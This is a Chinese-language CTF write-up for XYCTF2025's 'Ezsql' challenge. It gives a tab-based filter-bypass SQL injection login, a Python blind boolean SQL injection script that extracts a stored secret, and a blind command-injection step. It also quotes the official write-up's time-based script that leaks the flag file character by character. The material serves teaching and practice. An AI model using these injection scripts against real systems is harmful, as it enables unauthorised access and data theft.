XYCTF2025_wp_Ezsql

wp

此次XYCTF只做出了Ezsql,下面是做题详解。

打开容器,是一个用户登录界面。

{4FF9E154-C7DC-40BB-8585-C4FF92853786}

尝试登录,发现过滤了

union,逗号,like,空格,*,(等等)

发现or,=没有过滤,空格可用tap过滤。然后

username=1'	or	1=1#
password=2

登录成功。

{5DC7AA55-CF98-4E14-8B77-32AC71DA94A5}

尝试了爆破,但没有成功。根据回显,尝试爆破数据库,表名,字段值,字段内容。

这里因为substr(string,1,1)不能使用,
但可用substr(string from 1 for 1)替换。

下面是代码

import requests

url = "http://eci-2ze0xqtavmuaw3ezu43f.cloudeci1.ichunqiu.com/"

y = 0
flag=''
while(1):

    y=y+1
    for a in range(32, 127):

        #payload = f"ascii(substr(database()\x09from\x093\x09for\x091))={a}#"

        #payload = f"ascii(substr((select\x09table_name\x09from\x09information_schema.tables\x09where\x09table_schema='testdb'\x09limit\x091)\x09from\x09{y}\x09for\x091))={a}#"

        payload = f"ascii(substr((select\x09secret\x09from\x09double_check\x09limit\x091)from\x09{y}\x09for\x091))={a}#"

        #payload = f"ascii(substr((select\x09group_concat(column_name)\x09from\x09information_schema.columns\x09where\x09table_name='double_check'\x09limit\x091)from\x09{y}\x09for\x091))={a}#"

        data = {

            "username": f"0'\x09or\x09{payload}",
            "password": "2"

        }
        response = requests.post(url=url, data=data)

        if "帐号或密码错误" not in response.text:

            print(f"成功!当前ASCII值: {a}")
            print(chr(a))

            print(response.text)
            flag=flag+chr(a)
            print(flag)

这里,我爆破出secret后,直接使用

username=1'	or	1=1#
password=2

登录。接下来是rce无回显:

{742EBA61-C0EB-4DB6-AF90-CA92BE65820A}

使用
cat$IFS$9/flag.txt>test.txt
将flag带出来。

{0148B7FD-086A-4671-8256-E7CBE3B043F9}

官方wp

直接看第二步:

{935C3411-A0E8-4ED6-943A-B323A628BED6}

然后使⽤awk和cut -c来遍历前⾯命令执⾏的结果(例如ls、ls /、cat flag等)

import requests
import time#from urllib.parse import quote as urlen
headers = {"Cookie" : "PHPSESSID=9fd91f4205994488a0a0206773351c2a"}
#需要根据具体值修改

char="1234567890_.qwertyuiopasdfghjklzxcvbnmQAZWSXEDCRFVTGBYHNUJMIK{}OLP"

flag = ""
url='http://eci-2zeh8osjvo07qwj9jvqn.cloudeci1.ichunqiu.com/index.php'
for x in range(1,10):
	flag+='---'
	for i in range(1,30):
		for j in char:
			payload = "if [ `cat	/fla* |	awk 'NR=={}'	|	cut	-c{}`	=	{}];then	sleep	0.5;fi".format(x,i,j)
#延迟根据实际⽹络情况修改

			data={"command":payload}
			start_time = time.time()
			response=requests.post(url=url,headers=headers,data=data)
			
			end_time = time.time()
			if end_time-start_time>0.5:
				flag+=j
				print(flag)
posted @ 2025-04-08 18:51  冷鸢fleurs  阅读(207)  评论(0)    收藏  举报